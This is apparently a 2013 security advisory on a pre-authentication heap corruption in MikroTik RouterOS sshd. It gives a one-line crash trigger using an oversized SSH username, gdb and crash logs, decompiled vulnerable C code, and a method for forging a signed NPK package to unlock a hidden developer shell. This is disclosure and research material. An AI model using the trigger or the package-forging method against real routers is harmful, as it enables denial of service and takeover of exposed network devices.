Mikrotik RouterOS 5.* and 6.* sshd remote preauth heap corruption
Posted on September 2, 2013
During an audit the Mikrotik RouterOS sshd (ROSSSH) has been identified to have a remote previous to authentication heap corruption in its sshd component.
Exploitation of this vulnerability will allow full access to the router device.
This analysis describes the bug and includes a way to get developer access to recent versions of Mikrotik RouterOS using the /etc/devel-login file. This is done by forging a modified NPK file using a correct signature and logging into the device with username ‘devel’ and the password of the administrator. This will drop into a busybox shell for further researching the sshd vulnerability using gdb and strace tools that have been compiled for the Mikrotik busybox platform.
Shodanhq.com shows >290.000 entries for the ROSSSH search term.
The 50 megs Mikrotik package including the all research items can be downloaded here (this link is subject to change): http://www.farlight.org/mikropackage.zip
Enjoy!
Kingcope
VMWare image for x86 (other available architectures are not included but affected mips,ppc and so on) is available in the downloadable package
Overview of versions and architectures http://www.mikrotik.com/download
Version 6.2 is affected, as a testbed VM I use version 5.25
Version 4 (?) is using openssh as a daemon. The crash in sshd might still occur in these versions tough untested (service respawns)
5 (?) and up (including 5.25 and 6.2) use ROSSSH secure shell service
There is an option in the ssh service to login as user ‘devel’ and the same password as ‘admin’. To be able to do this it is required that the file ‘/etc/devel-login’ exists. This file is created at installation phase of the Mikrotik iso.
The Mikrotik 5.25 iso was modified to write this file into /etc/ folder during iso installation inside VMWare. This is accomplished by modifying an NPK package, the installation package format of Mikrotik.
Development tools, all to be used inside a second Linux
dumpnpk.py dumps NPK package structure and contents
createnpk.py * not used because it doesn’t handle signature
supout.pl takes a ‘autosupout.rif’ file (it is a crashdump and logfile of the Mikrotik system when a crash occurs during operation) and converts it into a human readable form. The tool ‘Winbox’ developed by Mikrotik is used to fetch this .rif file from the device from the ‘Files’ section.
’sshd’ binary file and libraries ‘libssh.so’,'libumsg.so’ extracted from the device
Interactive Disassembler for disassembling the x86 binaries of sshd
The device runs on busybox. The second Linux can be used to compile a gdb that uses busybox in order to run it inside the Mikrotik VM, gdb is installed inside the Mikrotik VM. In the current state gdb does not resolve symbols, it is assumed that gdb has to be compiled on the target vm in order to resolve symbols. Error output from gdb:
‘Reading symbols from /nova/bin/sshd…I’m sorry, Dave, I can’t do that.
Symbol format `elf32-i386′ unknown.’
Still gdb can be used in the normal way only that function names from IDA will not be displayed.
strace is installed the same way gdb is. The strace tool is included in the VM.
sshd heap corruption
There are 2 Crashpaths
one triggering an assert that might be circumvented
crash occurs in ‘libumsg.so’
it is triggered using the following command:
ssh -l`perl -e ‘print “A” x 100000′` <ip of mikrotik router>
it is unclear why the assert crashes the sshd service process, normally it should write the ‘too long message sent’ to the log- file and bail out without reaching the assert.
Assumed is because control structures where overwritten and the assert catches this corruption. The process dies with Signal 6, abort trap. It does not respawn.
one triggering Sigsegv, signal 11 with controllable values
crash occurs inside libssh.so
here is the gdb log when the crash occurs, the value of ECX is controlled other values of memory regions (?) or registers are controllable too when tweaking the trigger client. The instructions “rep movsb %ds:(%esi),%es:(%edi)” copy from ESI (here our AAAA’s buffer is located) to EDI, in this case EDI has a zero value, in other testcases the value of EDI is a memory pointer.
GNU gdb 6.8
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type “show copying”
and “show warranty” for details.
This GDB was configured as “i686-linux-uclibc”…
attach: No such file or directory.
Attaching to process 324
Reading symbols from /nova/bin/sshd…I’m sorry, Dave, I can’t do that. Symbol format `elf32-i386′ unknown.
A program is being debugged already. Kill it? (y or n) n
Program not killed.
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
077848596 in ?? ()
(gdb) bt
#0 077848596 in ?? ()
(gdb) i f
Stack level 0, frame at 0x7f8f78b4:
eip = 077848596; saved eip 0x8050e38
Arglist at 0x7f8f78ac, args:
Locals at 0x7f8f78ac, Previous frame’s sp is 0x7f8f78b4
Saved registers:
eip at 0x7f8f78b0
(gdb) x/10i $eip
077848596: rep movsb %ds:(%esi),%es:(%edi)
077848598: mov -0x1c(%ebp),%ecx
0x7784859b: mov 08(%ebp),%eax
0x7784859e: add %ecx,0xc(%eax)
0x778485a1: add $010,%esp
0x778485a4: mov %edx,%eax
0x778485a6: lea -0xc(%ebp),%esp
0x778485a9: pop %ebx
0x778485aa: pop %esi
0x778485ab: pop %edi
(gdb) i r
eax 00 0
ecx 0xc0ffff 12648447
edx 0x8050e38 134549048
ebx 0x7785ea9c 2005265052
esp 0x7f8f78b0 0x7f8f78b0
ebp 0x7f8f78e8 0x7f8f78e8
esi 0x806ca22 134662690
edi 00 0
eip 077848596 077848596
eflags 0210216 [ PF AF IF RF ID ]
cs 073 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 00 0
gs 00 0
(gdb) x/10x $esi
0x806ca22: 041414141 041414141 041414141 041414141
0x806ca32: 041414141 041414141 041414141 041414141
0x806ca42: 041414141 041414141
(gdb)
here is the C source of code lines that make this crash occur, specifically ‘getStringAsBuffer’ is the function that contains the code that includes the ‘rep movsb %ds:(%esi),%es:(%edi)’ seen at the gdb log when the crash occurs. Extracted with Hex Rays Decompiler (IDA Plugin)
//—– (00018518) ——————————————————–
void *__cdecl Buffer::getStringAsBuffer(int a1)
{
char v1; // al@1
void *v2; // edx@1
unsigned int v3; // eax@2
char v4; // al@2
void *v5; // ST18_4@3
unsigned int v7; // [sp+14h] [bp-1Ch]@2
v1 = Buffer::avail(a1, 4);
v2 = 0;
if ( v1 )
{
v3 = Buffer::getInt32(a1);
v7 = v3;
v4 = Buffer::avail(a1, v3);
v2 = 0;
if ( v4 )
{
v5 = malloc(0x14u);
Buffer::Buffer(v5, v7);
v2 = v5;
memcpy(*((void **)v5 + 1), (const void *)(*(_DWORD *)(a1 + 12) + *(_DWORD *)(a1 + 4)), v7);
*(_DWORD *)(a1 + 12) += v7;
}
}
return v2;
}
//—– (00014FB4) ——————————————————–
int __cdecl Buffer::Buffer(int a1, int a2)
{
int result; // eax@1
result = a1;
*(_BYTE *)(a1 + 16) = 0;
*(_DWORD *)(a1 + 12) = 0;
*(_DWORD *)a1 = 0;
*(_DWORD *)(a1 + 4) = 0;
*(_DWORD *)(a1 + 8) = 0;
if ( a2 )
result = Buffer::expand(a1, a2);
return result;
}
//—– (00014EAA) ——————————————————–
char __cdecl Buffer::expand(int a1, int a2)
{
int v2; // ecx@1
const void *v3; // eax@1
int v4; // esi@1
char result; // al@1
void *v6; // eax@5
int v7; // edx@5
int v8; // [sp+4h] [bp-24h]@1
unsigned int v9; // [sp+8h] [bp-20h]@4
const void *ptr; // [sp+Ch] [bp-1Ch]@1
v2 = *(_DWORD *)(a1 + 8);
v3 = *(const void **)(a1 + 4);
ptr = v3;
v8 = v2 – (_DWORD)v3;
v4 = *(_DWORD *)(a1 + 12) + a2;
result = 1;
if ( v4 > (unsigned int)v8 )
{
if ( (unsigned int)v4 <= 040400 )
{
v9 = *(_DWORD *)a1;
if ( (unsigned int)v4 <= *(_DWORD *)a1 )
{
*(_DWORD *)(a1 + 8) = v4 – v8 + v2;
}
else
{
v6 = malloc((v4 + 71) & 0xFFFFFFF8);
v7 = a1;
*(_DWORD *)(a1 + 4) = v6;
*(_DWORD *)(a1 + 8) = (char *)v6 + v4;
if ( ptr )
{
memcpy(v6, ptr, v9);
free((void *)ptr);
v7 = a1;
}
*(_DWORD *)v7 = (v4 + 71) & 0xFFFFFFF8;
result = 1;
}
}
else
{
*(_BYTE *)(a1 + 16) = 1;
result = 0;
}
}
return result;
}
crash analysis
/nova/bin/sshd
— signal=6 ——————————————–
eip=0x77533bd9 eflags=000200202
edi=0x7fed71f8 esi=0x7755a268 ebp=0x7fed6ec8 esp=0x7fed6ec0
eax=000000000 ebx=000000375 ecx=000000006 edx=0x77559ff4
backtrace: 0x77533bd9 0x7754ff5b 0x77551a9f 0x775367aa 0x776ceec8 0x776d76b3
0x776d1a2f 0x776d886d 0x7770aa32 0x7770e128 0x7770e321 0x777131af 0x7770e54b
0x77708f53 0x776fab3d 0x776c75fe 0x776c769c 0x776d26ad 0x0804aadd 0x77555bf6
0x0804a3c5
code:
87 d3 89 c6 3d 00 f0 ff ff 76 0c e8 97 e3 ff ff
maps:
08048000-0804c000 r-xp 00000000 03:02 229622 /nova/bin/sshd
77523000-77525000 r-xp 00000000 03:02 148070 /lib/libdl-0.9.30.2.so
77527000-77528000 r-xp 00000000 03:02 147779 /lib/libutil-0.9.30.2.so
7752a000-77559000 r-xp 00000000 03:02 148087 /lib/libuClibc-0.9.30.2.so
7755d000-77562000 r-xp 00000000 03:02 106659 /lib/libgcc_s.so.1
77563000-77573000 r-xp 00000000 03:02 148084 /lib/libuc++.so
77574000-7757c000 r-xp 00000000 03:02 147776 /lib/libufiber.so
7757d000-77693000 r-xp 00000000 03:02 147777 /lib/libcrypto.so.1.0.0
776a4000-776ad000 r-xp 00000000 03:02 148066 /lib/libubox.so
776ae000-776e3000 r-xp 00000000 03:02 148083 /lib/libumsg.so
776e7000-77715000 r-xp 00000000 03:02 148155 /lib/libssh.so
7771a000-7771f000 r-xp 00000000 03:02 148082 /lib/ld-uClibc-0.9.30.2.so
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
logtail 1024 begin:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ssh-connection none
LOOPER: write message too long
/nova/bin/sshd: looper.cpp: 1324:
void nv::Looper::writeMessage(const nv::message&): Assertion `false’ failed.
logtail end
/nova/bin/sshd
— signal=11 ——————————————–
eip=0x777cc596 eflags=000210202
edi=000000000 esi=0x0806c0da ebp=0x7fba7928 esp=0x7fba78f0
eax=000000000 ebx=0x777e2a9c ecx=0x00c0ffff edx=008052868
backtrace: 0x777cc596 0x777d4203 0x777daf7c 0x777db321 0x777e01af 0x777db54b
0x777d5f53 0x777c7b3d 0x777945fe 0x7779469c 0x7779f6ad 0x0804aadd
code:
f3 a4 8b 4d e4 8b 45 08 01 48 0c 83 c4 10 89 d0
maps:
08048000-0804c000 r-xp 00000000 03:02 16630 /nova/bin/sshd
775ec000-775ee000 r-xp 00000000 03:02 336486 /lib/libdl-0.9.30.2.so
775f0000-775f1000 r-xp 00000000 03:02 336195 /lib/libutil-0.9.30.2.so
775f3000-77622000 r-xp 00000000 03:02 336503 /lib/libuClibc-0.9.30.2.so
77626000-7762f000 r-xp 00000000 03:02 336496 /lib/libgcc_s.so.1
77630000-77640000 r-xp 00000000 03:02 336500 /lib/libuc++.so
77641000-77649000 r-xp 00000000 03:02 336192 /lib/libufiber.so
7764a000-77760000 r-xp 00000000 03:02 336193 /lib/libcrypto.so.1.0.0
77771000-7777a000 r-xp 00000000 03:02 336482 /lib/libubox.so
7777b000-777b0000 r-xp 00000000 03:02 336499 /lib/libumsg.so
777b4000-777e2000 r-xp 00000000 03:02 336571 /lib/libssh.so
777e7000-777ec000 r-xp 00000000 03:02 336498 /lib/ld-uClibc-0.9.30.2.so
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
logtail 1024 begin:
c-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64
@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hma
c-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96
mac algo SC: hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@open
ssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm
@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md
5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com
,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1
-96,hmac-md5-96
comp algo CS: none,zlib@openssh.com,zlib
comp algo SC: none,zlib@openssh.com,zlib
packet follows: 0
agreed on: diffie-hellman-group-exchange-sha256 aes128-cbc aes128-cbc hmac-md5 h
mac-md5 none none
trying DSS file
DSA key loaded
trying PEM container..
DSA key loaded
transport state: 1 –> 2
authorization service requested
auth req: kcope ssh-connection none
next auth methods: publickey,password
logtail end
logins for the Mikrotik VM
the ip address of the device can be seen with the command
ip address print
because dhcp should already be activated.
admin username: admin
admin password: <blank>
developer login using telnet and ssh, please login with telnet for using gdb
devel username: devel
devel password: <blank>
files that are included in the downloadable package
Mikrotik-5.25-dev.vmdk and .vmx – Virtual Machine of Mikrotik router.
mikrotik-5.25-touchdevel.iso – the iso file for installation
VMWare 8.0.3 is used to run it, all other softwares will run it too
such as QEmu and Virtualbox
trigger source code for crash number 2.
modified file: sshconnect2.c of openssh6.2p2trigger.tar.gz
ups-5.25-touchdevel.npk the NPK package that is used to create the ‘/etc/devel-login’ file. It is already included in the mikrotik-5.25-touchdevel.iso it has been created by modifying the commands that are executed during installation using a hex editor and afterwards the SHA1 signature of the NPK file has been identified using the original installer binary by reversing. The signature has been set in the NPK file so the ISO installer accepts the NPK during installation even if it prints out a warning.
gdb toolchain
the gdb,strace,ps,netstat binaries that where copied to the target
C source files of libssh.so and libumsg.so
extracted with hex rays decompiler IDA plugin
all binaries can be extracted from the target by copying them using developers login from their file path to ‘/rw/pckg’ and fetching them using the Winbox tool to a Windows system. In the same way files can be copied inside Winbox ‘Files’ section these files will be then located in ‘/rw/pckg’.
Winbox Configuration tool for RouterOS can be found at
http://download2.mikrotik.com/winbox.exe